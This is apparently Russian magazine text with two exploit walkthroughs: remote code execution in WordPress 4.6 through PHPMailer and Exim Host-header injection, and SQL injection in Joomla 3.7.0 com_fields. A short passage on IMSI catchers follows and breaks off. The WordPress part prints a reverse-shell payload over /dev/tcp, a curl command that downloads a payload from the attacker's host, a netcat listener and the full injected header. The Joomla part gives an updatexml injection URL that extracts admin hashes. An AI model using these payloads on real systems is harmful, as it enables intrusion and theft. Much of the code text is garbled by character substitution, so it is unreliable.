сай тов  вклю чают  авто мати чес кое  обновле ние,  что  умень шает  мас шта бы
проб лемы до уров ня еди нич ных инстал ляций. Плюс, нес мотря на завере ния
Давида, что экс пло ит работа ет без каких‐либо телод вижений и на дефол тном
кон фиге Apache 2,  это не  так. По  край ней мере,  у меня не получи лось пов‐ 
торить это го ни на Ubuntu, ни на CentOS, ни на Debian.

Де ло  тут  в  осо бен ностях  экс плу ата ции,  которая  под разуме вает  нехилые
манипу ляции  с  заголов ком  Host.  Они  вклю чают  в  себя  исполь зование  про‐ 
белов,  ско бок  и  про чих  спец симво лов.  Дефол тные  кон фигура ции  Apache,
которые я про тес тировал (то есть те, что ста вят ся из репози тори ев коман дой

 или  ), не раз реша ют это го делать и тут же руга ются ошиб кой 400.apt‐get yum

Apache 2.4.10 на Debian никак не хочет мирить ся с про белом в Host

Нем ного покопав шись в докумен тации индей ца, я обна ружил опцию 
.  Она  отве чает  за  соот ветс твие  зап росов  раз личным  RFC‐спе‐ 

цифи каци ям  и  по  умол чанию  работа ет  в  режиме  ,  то  есть  «ругать ся
на  все  непод ходящие  зап росы».  Поэто му  для  про дол жения  наших  манипу‐ 
ляций изме ним ее зна чение на   и пой дем даль ше.

HttpPro‐
tocolOptions

Strict

Unsa�e
Моя  прош лая    про  экс плу ата цию  уяз вимос ти  PHPMailer  касалась

непос редс твен но  аген та  sendmail.  Одна ко  нат кнуть ся  в  реаль ном  мире
на сис тему, где он исполь зует ся как поч товый демон по умол чанию, 

.  Поч ти  во  всех  пос ледних  вер сиях  сов ремен ных  дис три бути вов
Linux (Ubuntu, Debian, CentOS) исполь зуют ся аль тер нативы вро де Exim и Post‐
fix. И об экс плу ата ции Exim мы сегод ня и погово рим.

статья

до воль но
неп росто

ПРИЧИНЫ УЯЗВИМОСТИ
Нач нем с при чины уяз вимос ти. Заг лянем в  .pluggableŜphp

:/wp-includes/pluggable.php

32ɫś    i� ſ Šissetſ ɛ�romɏemail ƀ ƀ Ƈ
32ɬś        ŵŵ Get the site domain and get rid o� wwwŜ
32ɭś        ɛsitename ʰ strtolowerſ ɛɏS�R��RƃɐS�R��RɏNA��ɐƄ ƀŚ
32ɮś        i� ſ substrſ ɛsitenameř ɥř ɫ ƀ ʰʰ ɐwwwŜɐ ƀ Ƈ
328ś            ɛsitename ʰ substrſ ɛsitenameř ɫ ƀŚ
32ɰś        ƈ
33ɥś
33ɨś        ɛ�romɏemail ʰ ɐwordpressɒɐ Ŝ ɛsitenameŚ
332ś    ƈ
ŜŜŜ
3ɬ2ś    ɛphpmailer‐ʴsetFromſ ɛ�romɏemailř ɛ�romɏname ƀŚ

Как видишь, дан ные из перемен ной   исполь зуют‐ 
ся  для  ука зания  домена  (стро ка  331)  в  адре се  воз вра та  пись ма  (

, ключ  ).

ɛɏS�R��RƃɐS�R��RɏNA��ɐƄ
Return‐

Path ‐�
/wp-includes/class-phpmailer.php

8ɨś     ŵƋƋ
82ś      Ƌ The Sender email ſReturn‐Pathƀ o� the messageŜ
83ś      Ƌ I� not emptyř will be sent �ia ‐� to sendmail or as ɐ�AIL 
FRO�ɐ in smtp modeŜ
8ɫś      Ƌ ɒ�ar string
8ɬś      Ƌŵ
8ɭś     public ɛSender ʰ ɐɐŚ
ŜŜŜ
ɰ3ɫś     public �unction setFromſɛaddressř ɛname ʰ ɐɐř ɛauto ʰ trueƀ
ɰ3ɬś     Ƈ
ŜŜŜ
ɰɬ2ś         i� ſɛautoƀ Ƈ
ɰɬ3ś             i� ſemptyſɛthis‐ʴSenderƀƀ Ƈ
ɰɬɫś                 ɛthis‐ʴSender ʰ ɛaddressŚ
ɰɬɬś             ƈ
ɰɬɭś         ƈ

Са ма перемен ная   берет ся из зап роса, а точ нее — из заголов ка
Host.  Поэто му  мож но  попытать ся  управлять  аргу мен тами,  которые  будут
отправ лены бинар нику sendmail вмес те с клю чом  .

S�R��RɏNA��

‐�
/wp-includes/class-phpmailer.php

ɨ3ɫɫś     protected �unction mailSendſɛheaderř ɛbodyƀ
ŜŜŜ
ɨ3ɬ2ś         i� ſemptyſɛthis‐ʴSenderƀƀ Ƈ
ɨ3ɬ3ś             ɛparams ʰ ɐ ɐŚ
ɨ3ɬɫś         ƈ else Ƈ
ɨ3ɬɬś             ɛparams ʰ sprint�ſɐ‐�ʩsɐř ɛthis‐ʴSenderƀŚ
ɨ3ɬɭś         ƈ
ŜŜŜ
ɨ3ɭ8ś             ɛresult ʰ ɛthis‐ʴmailPassthruſɛtoř ɛthis‐ʴSub�ectř 
ɛbodyř ɛheaderř ɛparamsƀŚ

/wp-includes/class-phpmailer.php

ɭɭɭś     pri�ate �unction mailPassthruſɛtoř ɛsub�ectř ɛbodyř ɛheaderř
 ɛparamsƀ
ɭɭɮś     Ƈ
ŜŜŜ
ɭɮɮś             ɛresult ʰ ɒmailſɛtoř ɛsub�ectř ɛbodyř ɛheaderř ɛ
paramsƀŚ

И  тут  мы  стал кива емся  с  пер вой  проб лемой  —  невоз можностью  исполь‐ 
зовать про бел для отде ления парамет ров друг от дру га. При чина в  том,  что
перед отправ кой фун кция   из биб лиоте ки PHPMailer про‐ 
веря ет  получив ший ся  email  на  соот ветс твие  стан дарту  ,  а  он,
разуме ется, зап реща ет исполь зование сим вола про бела в домен ном име ни.

�alidateAddressſƀ
RFC  2822

Ошиб ка при исполь зовании про бела в име ни домена

На помощь в этой ситу ации нам при дут  , которые мож но исполь‐ 
зовать как в наз вании ящи ка, так и в домен ном име ни. Ком мента рии ука зыва‐ 
ются в круг лых скоб ках. Вот при мер заголов ка From с ними.

ком мента рии

Fromś PeteſA wonder�ul Ɏƀ chapƀ ʳpeteſhis accountƀɒsillyŜtestſhis 
hostƀʴ

Во ору жив шись этим зна нием, исполь зуем его в наших реалиях.

Hostś domainſsome new argumentsƀ

Внед ряем парамет ры, исполь зуя про белы в ком мента риях

В ито ге стро ка вызова бинар ника будет выг лядеть сле дующим обра зом:

ɥ ʰʰ ƃŵusrŵsbinŵsendmailƄ
ɨ ʰʰ ƃ‐tƄ
2 ʰʰ ƃ‐iƄ
3 ʰʰ ƃ‐�wordpressɒdomainſsomeƄ
ɫ ʰʰ ƃnewƄ
ɬ ʰʰ ƃargumentsƀƄ

С  при чиной  разоб рались,  теперь  пос мотрим,  какие  инте рес ные  парамет ры
может пре дос тавить нам интерфейс Exim.

ДЕТАЛИ ЭКСПЛУАТАЦИИ
Exim,  как  и  про чие  MTA,  исполь зует  файл    в  качес тве
сим линка к реаль ному бинар нику exim 4.

ŵusrŵsbinŵsendmail

Боль ше  все го  нас  инте ресу ет  ключ  ,  который  пред назна чен
для перево да Exim в режим тес тирова ния рас кры тий (expansion testing mode).
В мей лере  есть  такое  понятие,  как  .  Они  напоми нают
некие встро енные перемен ные и фун кции, с помощью которых мож но выпол‐ 
нять дей ствия при отправ ке писем. В докумен тации  ты най дешь мас су  при‐ 
меров, а здесь я покажу наибо лее полез ные для экс плу ата ции.

‐be

рас кры ваемые стро ки

Цен нее  все го  для  нас  коман да  ,  которая,  как  ты  понял  из  наз вания,
поз воля ет выпол нять дру гие коман ды. Син таксис ее сле дующий:

run

ɛƇrunƇʳcommandʴ ʳargsʴƈƇʳstringɨʴƈƇʳstring2ʴƈƈ

Та ким обра зом, если коман да выпол няет ся успешно, то воз вра щает ся string 1,
ина че string 2. Нас это не дол жно силь но вол новать — глав ное, что она вооб‐ 
ще выпол няет ся. :)

Про буем  при менить  получен ные  зна ния  на  прак тике.  Обра ти  вни мание,
что  пути  до  бинар ников  обя затель но  дол жны  быть  ука заны  абсо лют ные.
Выпол ним  что‐нибудь  вро де  .  Тут  же  стал кива‐ 
емся  с  проб лемой  при  ука зании  аргу мен тов  для  выпол няемой  коман ды.
Как  ты  пом нишь,  про бел  уже  исполь зует ся  у  нас  для  того,  что бы  раз делять
парамет ры бинар нику  sendmail.  Поэто му  если мы отпра вим 

, то на выходе
получим вот такую ерун ду:

ŵbinŵtouch  ŵtmpŵsuccess

Hostś  domainſ
some ɛƇrunƇŵbinŵtouch ŵtmpŵsuccessƈƇɥƈƇɥƈƈ argumentsƀ

ɥ ʰʰ ƃŵusrŵsbinŵsendmailƄ
ɨ ʰʰ ƃ‐tƄ
2 ʰʰ ƃ‐iƄ
3 ʰʰ ƃ‐�wordpressɒdomainſsomeƄ
ɫ ʰʰ ƃɛƇrunƇŵbinŵtouchƄ
ɬ ʰʰ ƃŵtmpŵsuccessƈƇɥƈƇɥƈƈƄ
ɭ ʰʰ ƃargumentsƀƄ

По нят но,  что  эта  коман да  нор маль но  не  отра бота ет.  Нам  нуж но  при думать,
чем  мож но  заменить  сим вол  про бела.  Бла го  Exim  раз реша ет  исполь зовать
вло жен ные перемен ные и фун кции. Так же в его арсе нале есть очень полез‐ 
ная для нас коман да  :substr

ɛƇsubstrƇʳstringɨʴƈƇʳstring2ʴƈƇʳstring3ʴƈƈ

Она поз воля ет вырезать сим волы со   по   из стро ки  .
Оста лось  толь ко  най ти  перемен ную,  которая  содер жит  в  себе  про бел,
и поза имс тво вать его. Давид уже сде лал это — тво ему вни манию пред став‐ 
ляет ся перемен ная  . В ней содер жится текущее вре мя и дата в том
же фор мате,  что исполь зует ся в логах Exim. Нап ример, 
.  В  позиции  10  есть  как  раз  то,  что  нам  нуж но, —  про бел.  Выреза ем  его

коман дой    и  под став ляем  в  нуж ном  мес те
в нашей коман де.

stringɨ string2 string3

ɛtodɏlog
2ɥɨɮ‐ɥɭ‐ɨɬ ɨɨśɫ2ś

3ɨ
ɛƇsubstrƇɨɥƈƇɨƈƇɛtodɏlogƈƈ

ɛƇrunƇŵbinŵtouchɛƇsubstrƇɨɥƈƇɨƈƇɛtodɏlogƈƈŵtmpŵexecutedƈƇɨƈƇɥƈƈ

Вы пол нение команд через Exim. Замена про белов

Под став ляем получен ную стро ку в Host и отправ ляем. Резуль татом, увы, будет
ошиб ка «400 Bad Request». На этот раз проб лема в том, что сле ши ни в каком
виде не допус тимы в хидере Host, и Apache откло няет такой зап рос.

Воз вра щаем ся  к фун кции    и  ищем  перемен ные,  из  которых мож но
поза имс тво вать сле ши. Под ходит, к при меру,  . В ней хра‐ 
нит ся путь к дирек тории спу ла (сооб щений в про цес се обра бот ки). По умол‐ 
чанию это  , поэто му 
 выдаст нуж ный сим вол.

subst
ɛspoolɏdirectory

ŵ�arŵspoolŵeximɫ ɛƇsubstrƇɥƈƇɨƈƇɛspoolɏdirectoryƈ
ƈ

Те перь нас тало вре мя соб рать все воеди но и отпра вить. Получа ется вот
такая гусени ца:

Hostś domainſsome ‐be ɛƇrunƇɛƇsubstrƇɥƈƇɨƈƇɛspoolɏdirectoryƈƈbinɛƇ
substrƇɥƈƇɨƈƇɛspoolɏdirectoryƈƈtouchɛƇsubstrƇɨɥƈƇɨƈƇɛtodɏlogƈƈɛƇ
substrƇɥƈƇɨƈƇɛspoolɏdirectoryƈƈtmpɛƇsubstrƇɥƈƇɨƈƇɛspoolɏdirectoryƈƈ
successƈƈ argumentsƀ

У  меня  экс пло ит  успешно  отра ботал,  и  появил ся  файл  .
Это успех!

ŵtmpŵsuccess

PoC успешно отра ботал. Файл соз дан

Я  накидал  ,  который  авто мати чес ки  заменя ет  сле ши
и  про белы  и  выда ет  тебе  готовый  заголо вок  для  встав ки  в  зап рос.  Имей
в  виду,  что  некото рые  сим волы,  нап ример  зна ки  «боль ше»  и  «мень ше»,
исполь зовать не получит ся, так как они пре обра зуют ся в HTML‐сущ ности.

не боль шой  скрип тик

ЭКСПЛОИТ
Да вид написал  , который авто мати зиру ет все дей ствия по экс плу‐ 
ата ции.  Пос ле  его  выпол нения  ты  получишь  бэк коннект‐шелл  от  име ни
веб‐юзе ра. Давай пос мотрим, что внут ри у это го скрип та.

баш‐скрипт

Сна чала  соз дает ся  файл    с  пей лоадом.  Голун ский  исполь зует
прос тень кий бэк коннект через bash и устрой ство  .

rceŜtxt
ŵde�ŵtcp

wordpress-rce-exploit.sh

ɨɬɰś  RC�ɏexecɏcmdʰɑſsleep 3s ĺĺ nohup bash ‐i ʴŵde�ŵtcpŵɛre�ɏhostŵ
ɨ33ɮ ɥʳĺɨ 2ʴĺɨƀ ĺɑ
ɨɭɥś  echo ɑɛRC�ɏexecɏcmdɑ ʴ rceŜtxt

Да лее  этот  файл  переда ется  в  сис тему  с  уяз вимым  WordPress.  Дела ется
это  при  помощи  мини атюр ного  веб‐сер вера  на  Python.  Модуль 

 под нима ет сер вер, с которо го забира ется соз данный  .
SimpleHT‐

TPSer�er rceŜtxt
wordpress-rce-exploit.sh

ɨɭɨś  python ‐mSimpleHTTPSer�er 8ɥ 2ʴŵde�ŵnull ʴĺ2 ĺ

Сле дом к CMS отправ ляет ся зап рос, который ини циирует ска чива ние фай ла
с пей лоадом. Для этих целей Давид исполь зует curl с аргу мен том  .‐o

wordpress-rce-exploit.sh

ɨɭɬś  cmdʰɑŵusrŵbinŵcurl ‐oŵtmpŵrce ɛre�ɏhostŵrceŜtxtɑ
ɨɭɭś  prepɏhostɏheader ɑɛcmdɑ
ɨɭɮś  curl ‐HɑHostś ɛhostɏheaderɑ ‐s ‐d ɐuserɏloginʰadminĺ
wp‐submitʰGetʫNewʫPasswordɐ ɛtargetŵwp‐loginŜphpţactionʰlostpassword

В резуль тате на сер вер отпра вит ся что‐то вро де это го:

POST ŵwp‐loginŜphpţactionʰlostpassword HTTPŵɨŜɨ
Hostś emptyſɨ ‐be ɛƇrunƇɛƇsubstrƇɥƈƇɨƈƇɛspoolɏdirectoryƈƈusrɛƇsubstrƇ
ɥƈƇɨƈƇɛspoolɏdirectoryƈƈbinɛƇsubstrƇɥƈƇɨƈƇɛspoolɏdirectoryƈƈcurlɛƇ
substrƇɨɥƈƇɨƈƇɛtodɏlogƈƈ‐oɛƇsubstrƇɥƈƇɨƈƇɛspoolɏdirectoryƈƈtmpɛƇ
substrƇɥƈƇɨƈƇɛspoolɏdirectoryƈƈrceɛƇsubstrƇɨɥƈƇɨƈƇɛtodɏlogƈƈɨ2ɮŜɥŜɥŜɨ
ɛƇsubstrƇɥƈƇɨƈƇɛspoolɏdirectoryƈƈrceŜtxtƈƈƀ
Content‐Lengthś ɬɭ
User‐Agentś �o�illaŵɬŜɥ
Content‐Typeś applicationŵx‐www‐�orm‐urlencoded
Connectionś close
userɏloginʰadminĺredirectɏtoʰĺwp‐submitʰGetʫNewʫPassword

Файл  теперь рас положен в сис теме по адре су  ,  но его еще нуж но
запус тить. За это отве чает сле дующий зап рос с коман дой на исполне ние.

ŵtmpŵrce

wordpress-rce-exploit.sh

ɨɮɥś  ɤ �xecute payload ſRC�ɏexecɏcmdƀ on the target ŵbinŵbash ŵtmpŵ
rce
cmdʰɑŵbinŵbash ŵtmpŵrceɑ
ɨɮɨś  prepɏhostɏheader ɑɛcmdɑ
ɨɮ2ś  curl ‐HɑHostś ɛhostɏheaderɑ ‐d ɐuserɏloginʰadminĺ
wp‐submitʰGetʫNewʫPasswordɐ ɛtargetŵwp‐loginŜphpţactionʰlostpassword 
ĺ

Те перь финаль ный шаг. При помощи netcat слу шаем ука зан ный в экс пло ите
код в ожи дании бэк коннек та.

wordpress-rce-exploit.sh

ɨɮɮś  nc ‐�� ‐l ɨ33ɮ

Ус пешная экс плу ата ция WordPress 4.6

Кон нект при лета ет, и мы можем выпол нять коман ды.

Де монс тра ция экс плу ата ции уяз вимос ти (видео)

https://vimeo.com/224914231

Мыс ли о CVE-2017-8295
На пос ледок  ска жу  пару  слов  о  ,  которая  так же  най дена
Давидом Голун ским. Эта уяз вимость поз воля ет в некото рых слу чаях получить
пись мо со ссыл кой на сброс пароля для любого поль зовате ля.

CVE‐2017‐8295

Пос ле  обновле ния  CMS  до  вер сии  4.6.1  уяз вимость  с  внед рени ем
парамет ров  через    испра вили,  но  воз можность  ука зывать  свой  домен
в  перемен ной    оста лась.  Ее  зна чение  попада ет  в  заголо вок
From отправ ляемо го пись ма. Одна ко при опре делен ных нас трой ках сер вера
она так же попада ет в  . Нап ример, такое поведе ние мож но наб‐ 
людать на Windows‐сис темах.

Host
ɛ�romɏemail

Return‐Path

Ес ли тебе попал ся такой сер вер, то можешь попытать уда чу и поп робовать
заполу чить ссыл ку на сброс пароля адми нис тра тора. Идея зак люча ется в том,
что бы каким‐то обра зом не дать поч товому сер веру дос тавить отправ ленное
пись мо адре сату, и тог да он вер нет его по адре су, который ука зан в 

.
Return‐

Path
Я  не  тес тировал  эту  уяз вимость,  одна ко  мысль,  озву чен ная  Голун ским,

инте рес на.  Так  что,  если  нечем  будет  занять ся  на  досуге,  советую  поп‐ 
робовать коп нуть в эту сто рону.

http://httpd.apache.org/docs/2.4/mod/core.html#HttpProtocolOptions
https://xakep.ru/2017/01/12/phpmailer-exploit/
http://www.securityspace.com/s_survey/data/man.201704/mxsurvey.html
https://github.com/WordPress/WordPress/blob/4.6/wp-includes/pluggable.php#L324
https://github.com/WordPress/WordPress/blob/4.6/wp-includes/class-phpmailer.php#L934
https://github.com/WordPress/WordPress/blob/4.6/wp-includes/class-phpmailer.php#L1344
https://github.com/WordPress/WordPress/blob/4.6/wp-includes/class-phpmailer.php#L666
https://tools.ietf.org/html/rfc2822
https://tools.ietf.org/html/rfc2822#appendix-A.5
http://www.exim.org/exim-html-3.20/doc/html/spec_5.html#SEC43
https://www.lissyara.su/doc/exim/4.70/string_expansions/
https://jsfiddle.net/gj7vt6gg/
https://exploitbox.io/exploit/wordpress-rce-exploit.sh
https://vimeo.com/224914231
https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html


ИЗУЧАЕМ ПРОСТОЙ СПОСОБ
ПОЛУЧИТЬ КОНТРОЛЬ

НАД JOOMLA 3.7

D//\
ONsec

@iamsecurity

őŖŚŝś

Ба ги  в  популяр ных  CMS  в  пос ледние  месяцы  ста ли  нас‐ 
тоящей  напастью.  Появ ление  каж дой  такой  уяз вимос ти
озна чает, что под угро зой ока зыва ются сот ни тысяч сай тов,
и далеко не каж дый вла делец успе вает вов ремя обно вить ся
до све жей вер сии. В этой статье мы изу чим недав но обна‐ 
ружен ную  дыру  в  CMS  Joomla:  из‐за  недос таточ ной  филь‐ 
тра ции поль зователь ских дан ных сис тема уяз вима для SQL‐
инъ екций.

Joomla 3.7.0, помимо мно жес тва улуч шений и исправ лений, при нес ла в ядро
фун кцию    и,  в  час тнос ти,  ком понент  .
Как  ты  уже,  навер ное,  догадал ся,  этот  новый  ком понент  и  стал  при чиной
проб лемы.  Так  что  без  лиш них  церемо ний  прис тупим  к  увле катель ному
путешес твию в исходни ках по сле дам уяз вимос ти.

поль зователь ских  полей comɏ�ields

ДЕТАЛИ УЯЗВИМОСТИ
В пер вую оче редь заг лядыва ем в сам файл кон трол лера.

/components/com_fields/controller.php

ɨɭś class FieldsController extends 
ControllerLegacy
ɨɮś Ƈ
ŜŜŜ
2ɮś     public �unction ɏɏconstructſɛcon�ig ʰ arrayſƀƀ
28ś     Ƈ
ŜŜŜ
32ś         i� ſɛthis‐ʴinput‐ʴgetſɐ�iewɐƀ ʰʰʰ ɐ�ieldsɐ ĺĺ ɛthis‐ʴ
input‐ʴgetſɐlayoutɐƀ ʰʰʰ ɐmodalɐƀ
ŜŜŜ
3ɭś             ɛlang‐ʴloadſɐcomɏ�ieldsɐř 
PATHɏAD�INISTRATORƀŚ
3ɮś
38ś             ɛcon�igƃɐbaseɏpathɐƄ ʰ 
PATHɏCO�PON�NTɏAD�INISTRATORŚ

Сра зу же бро сает ся в гла за усло вие [32]: если   и   при нима ют зна‐ 
чения  fields  и modal  соот ветс твен но,  то CMS  заг ружа ет  адми нис тра тор скую
вер сию  ком понен та  .  И  все  зап росы  от  обыч ного  поль зовате ля
будут прок сировать ся в него.

�iew layout

comɏ�ields

Что же нам это дает? Давай пос мотрим.
Заг лянем внутрь метода  , он занима ется тем, что собира ет

зап рос к базе дан ных. Нас инте ресу ет часть со стро кой, в которой фор миру‐ 
ется сор тиров ка (ORDER BY).

getListQuery

/administrator/components/com_fields/models/fields.php

ɨ2ɫś    protected �unction getListQueryſƀ
ɨ2ɬś    Ƈ
ŜŜŜ
3ɥɫś        ŵŵ Add the list ordering clause
3ɥɬś        ɛlistOrdering ʰ ɛthis‐ʴgetStateſɐlistŜ�ullorderingɐř ɐaŜ
orderingɐƀŚ
3ɥɭś        ɛorderDirn    ʰ ɐɐŚ
3ɥɮś
3ɥ8ś        i� ſemptyſɛlistOrderingƀƀ
3ɥɰś        Ƈ
3ɨɥś            ɛlistOrdering  ʰ ɛthis‐ʴstate‐ʴgetſɐlistŜorderingɐř 
ɐaŜorderingɐƀŚ
3ɨɨś            ɛorderDirn     ʰ ɛthis‐ʴstate‐ʴgetſɐlistŜdirectionɐř 
ɐD�SCɐƀŚ
3ɨ2ś        ƈ
3ɨ3ś
3ɨɫś        ɛquery‐ʴorderſɛdb‐ʴescapeſɛlistOrderingƀ Ŝ ɐ ɐ Ŝ ɛdb‐ʴ
escapeſɛorderDirnƀƀŚ

Пе ремен ная   —  наз вание  поля  в  таб лице,  по  которо му  тре‐ 
бует ся отсорти ровать зап рос. Ее филь тру ет фун кция  , которая зависит
от  исполь зуемо го  на  сер вере  драй вера  для  работы  с  БД.  Она  воз вра щает
стро ку, в которой экра ниро ваны спец симво лы, в час тнос ти кавыч ки.

ɛlistOrdering
escape

Рас смот рим исходный код этой фун кции для драй вера  . Он встре‐ 
чает ся чаще все го, пос коль ку Joomla при уста нов ке пред лага ет имен но его.

mysqli

/libraries/joomla/database/driver/mysqli.php

2ɫ2ś    public �unction escapeſɛtextř ɛextra ʰ �alseƀ
2ɫ3ś    Ƈ
2ɫɫś        ɛthis‐ʴconnectſƀŚ
2ɫɬś
2ɫɭś        ɛresult ʰ mysqliɏrealɏescapeɏstringſɛthis‐ʴgetConnection
ſƀř ɛtextƀŚ
2ɫɮś
2ɫ8ś        i� ſɛextraƀ
2ɫɰś        Ƈ
2ɬɥś            ɛresult ʰ addcslashesſɛresultř ɐʩɏɐƀŚ
2ɬɨś        ƈ
2ɬ2ś
2ɬ3ś        return ɛresultŚ
2ɬɫś    ƈ

Для филь тра ции исполь зует ся фун кция   (стро ка 246),
которая экра ниру ет null‐бай ты, перено сы строк, оди нар ные и двой ные кавыч‐ 
ки. Одна ко в нашем слу чае это абсо лют но бес полез ные дей ствия,  так  как  в
нашей перемен ной хра нит ся наз вание колон ки для сор тиров ки.

mysqli_real_escape_string

Да вай  пос мотрим,  как  передать  нуж ные  нам  зна чения  в  .
Метод   нас леду ется пря миком из абс трак тно го клас са 

, который явля ется родите лем для  , а он, в свою оче редь, нас‐ 
леду ется нашим  .

ɛlistOrdering
getState 
�odelLeg‐

acy 
�odelList
Fields�odelFields

/administrator/components/com_fields/models/fields.php

ɥɨɰś class Fields�odelFields extends 
�odelList
ŜŜŜ
3ɥɬś        ɛlistOrdering ʰ ɛthis‐ʴgetStateſɐlistŜ�ullorderingɐř ɐaŜ
orderingɐƀŚ

/libraries/legacy/model/list.php

ɨɰś class 
�odelList extends 
�odelLegacy

/libraries/legacy/model/legacy.php

ɥ2ɨś abstract class 
�odelLegacy extends 
Ob�ect
ŜŜŜ
ɫ2ɰś    public �unction getStateſɛproperty ʰ nullř ɛde�ault ʰ nullƀ
ŜŜŜ
ɫ3ɫś            ɛthis‐ʴpopulateStateſƀŚ

Фун кция   пере опре деля ется в клас се  . Давай пос‐ 
мотрим на нее поб лиже, что бы узнать, отку да она получа ет дан ные.

populateState 
�odelList

/libraries/legacy/model/list.php

ɫɮɨś    protected �unction populateStateſɛordering ʰ nullř ɛdirection
 ʰ nullƀ
ɫɮ2ś    Ƈ
ŜŜŜ
ɫɰɫś            ŵŵ Recei�e ĺ set list options
ɫɰɬś            i� ſɛlist ʰ ɛapp‐ʴgetUserStateFromRequestſɛthis‐ʴ
context Ŝ ɐŜlistɐř ɐlistɐř arrayſƀř ɐarrayɐƀƀ
ɫɰɭś            Ƈ

Для это го исполь зует ся метод   клас са 
.

getUserStateFromRequest 
Applica‐
tionCms

/libraries/cms/application/cms.php

ɭɨɮś    public �unction getUserStateFromRequestſɛkeyř ɛrequestř ɛ
de�ault ʰ nullř ɛtype ʰ ɐnoneɐƀ
ɭɨ8ś    Ƈ
ɭɨɰś        ɛcurɏstate ʰ ɛthis‐ʴgetUserStateſɛkeyř ɛde�aultƀŚ
ɭ2ɥś        ɛnewɏstate ʰ ɛthis‐ʴinput‐ʴgetſɛrequestř nullř ɛtypeƀŚ
ŜŜŜ
ɭ3ɥś        return ɛnewɏstateŚ

Этот метод воз вра щает перемен ную  . В нашем слу чае это мас сив
( ),  который  получа ется  пос ле  успешно го  выпол нения
метода   из клас са  .

ɛnewɏstate
ɛtype  ʰʰ  ɐarrayɐ

get 
Input
/libraries/joomla/input/input.php

ɨɭɭś    public �unction getſɛnameř ɛde�ault ʰ nullř ɛ�ilter ʰ ɐcmdɐƀ
ɨɭɮś    Ƈ
ɨɭ8ś        i� ſissetſɛthis‐ʴdataƃɛnameƄƀƀ
ɨɭɰś        Ƈ
ɨɮɥś            return ɛthis‐ʴ�ilter‐ʴcleanſɛthis‐ʴdataƃɛnameƄř ɛ
�ilterƀŚ

/libraries/joomla/input/input.php

3ɰś class 
Input implements Seriali�ableř Countable
ŜŜŜ
8ɨś     public �unction ɏɏconstructſɛsource ʰ nullř array ɛoptions ʰ 
arrayſƀƀ
82ś     Ƈ
ŜŜŜ
ɰ2ś         i� ſisɏnullſɛsourceƀƀ
ɰ3ś         Ƈ
ɰɫś             ɛthis‐ʴdata ʰ ĺɛɏR�QU�STŚ

Как  ты  можешь  видеть,  дан ные  берут ся  пря миком  из  зап роса  к  сер веру,
а поэто му мы можем лег ко ими управлять.

Взгля нув  на  аргу мен ты  вызова  ,  узна ем,  что
нуж ные нам дан ные переда ются в мас сиве  . Получа ется, что, исполь зуя
параметр  , мы можем манипу лиро вать SQL‐зап росом.

getUserStateFromRequest
list

listƃ�ullorderingƄ

Внед рение дан ных в зап рос

Ос тался пос ледний и самый ожи даемый шаг — экс плу ата ция уяз вимос ти. Так
как  перед  нами  впол не  обыч ная  инъ екция,  мож но  исполь зовать  любой
из удоб ных методов экс плу ата ции. Я вос поль зуюсь SQL‐фун кци ей updatexml
для вывода дан ных через сооб щения об ошиб ках.

ŵindexŜphpţoptionʰcomɏ�ieldsĺ�iewʰ�ieldsĺlayoutʰmodalĺlistƃ�ullor
deringƄʰupdatexmlſɥřconcatſɥx3ařſ�ersionſƀƀƀřɥƀ

Ус пешная SQL‐инъ екция

Имей  в  виду,  что  дли на  сооб щения,  получа емо го  этим  методом,  огра ниче‐ 
на 32 сим волами. Так же не забыва ем, что кавыч ки экра ниру ются (метод 

),  и,  если  нуж но  переда вать  зна чения  колонок, мож но  вос поль зовать ся
hex‐пред став лени ем строк.

es‐
cape

По луче ние логина и хеша пароля адми нис тра тора через SQL‐инъ екцию

Вот таким незамыс ловатым обра зом мож но про экс плу ати ровать уяз вимость
в Joomla 3.7.0. Если у тебя есть сайт на этой CMS и ты еще не обно вил его, то
пос пеши  —  раз работ чики  опе ратив но  выпус тили  вер сию  3.7.1,  где  уяз‐ 
вимость устра нена.

ДЕМОНСТРАЦИЯ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ

https://vimeo.com/225067634

https://github.com/joomla/joomla-cms/pull/11833
https://github.com/joomla/joomla-cms/blob/3.7.0/components/com_fields/controller.php#L36
https://github.com/joomla/joomla-cms/blob/3.7.0/administrator/components/com_fields/models/fields.php#L305
http://php.net/manual/en/mysqli.real-escape-string.php#refsect1-mysqli.real-escape-string-parameters
https://github.com/joomla/joomla-cms/blob/3.7.0/administrator/components/com_fields/models/fields.php#L19
https://github.com/joomla/joomla-cms/blob/3.7.0/libraries/legacy/model/list.php#L19
https://github.com/joomla/joomla-cms/blob/3.7.0/libraries/legacy/model/legacy.php#L429
https://github.com/joomla/joomla-cms/blob/3.7.0/libraries/legacy/model/list.php#L471
https://github.com/joomla/joomla-cms/blob/3.7.0/libraries/cms/application/cms.php#L617
https://github.com/joomla/joomla-cms/blob/3.7.0/libraries/joomla/input/input.php#L166
https://github.com/joomla/joomla-cms/blob/3.7.0/libraries/joomla/input/input.php#L94
https://vimeo.com/225067634
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На вер ное, даже домохо зяй ки зна ют, что пуб личные точ ки Wi‐
Fi небезо пас ны. Что не меша ет рядовым юзе рам вов сю ими
поль зовать ся — ведь если нель зя, но скуч но и очень хочет ся,
то  мож но!  И  без  вся кого  VPN —  хотя фун кцию  VPN  теперь
внед ряют даже в ком плексные анти вирус ные про дук ты. Здо‐ 
ровой  аль тер нативой  Wi‐Fi  всег да  счи талось  обыч ное
мобиль ное под клю чение, тем более что с каж дым годом оно
ста новит ся все дешев ле, а ско рость его все выше. Но так ли
оно безопас но,  как нам кажет ся? В этой статье мы решили
соб рать  основные  воп росы  и  отве ты,  пос вящен ные  перех‐ 
вату  мобиль ных  дан ных,  и  опре делить ся,  сто ит  ли  его  опа‐ 
сать ся  обыч ному,  далеко му  от  сок ровен ных  тайн  поль‐ 
зовате лю.

Чрез мерно активные дей ствия в ради очас тотном
спек тре  тре буют  спе циаль ного  допус ка  и  лицен‐ 
зирова ния; игно рируя дан ный факт, ты авто мати‐ 
чес ки  попада ешь  в  катего рию  «пло хих  пар ней»
(под робнос ти —  ).здесь

ЧТО ТАКОЕ IMSI-ПЕРЕХВАТЧИК?
Это такое устрой ство (раз мером с чемодан или даже все го лишь с телефон),
которое  исполь зует  конс трук тивную  осо бен ность  мобиль ников  —  отда вать
пред почте ние той сотовой выш ке, чей сиг нал наибо лее силь ный (что бы мак‐ 
симизи ровать  качес тво  сиг нала  и миними зиро вать  собс твен ное  энер гопот‐ 
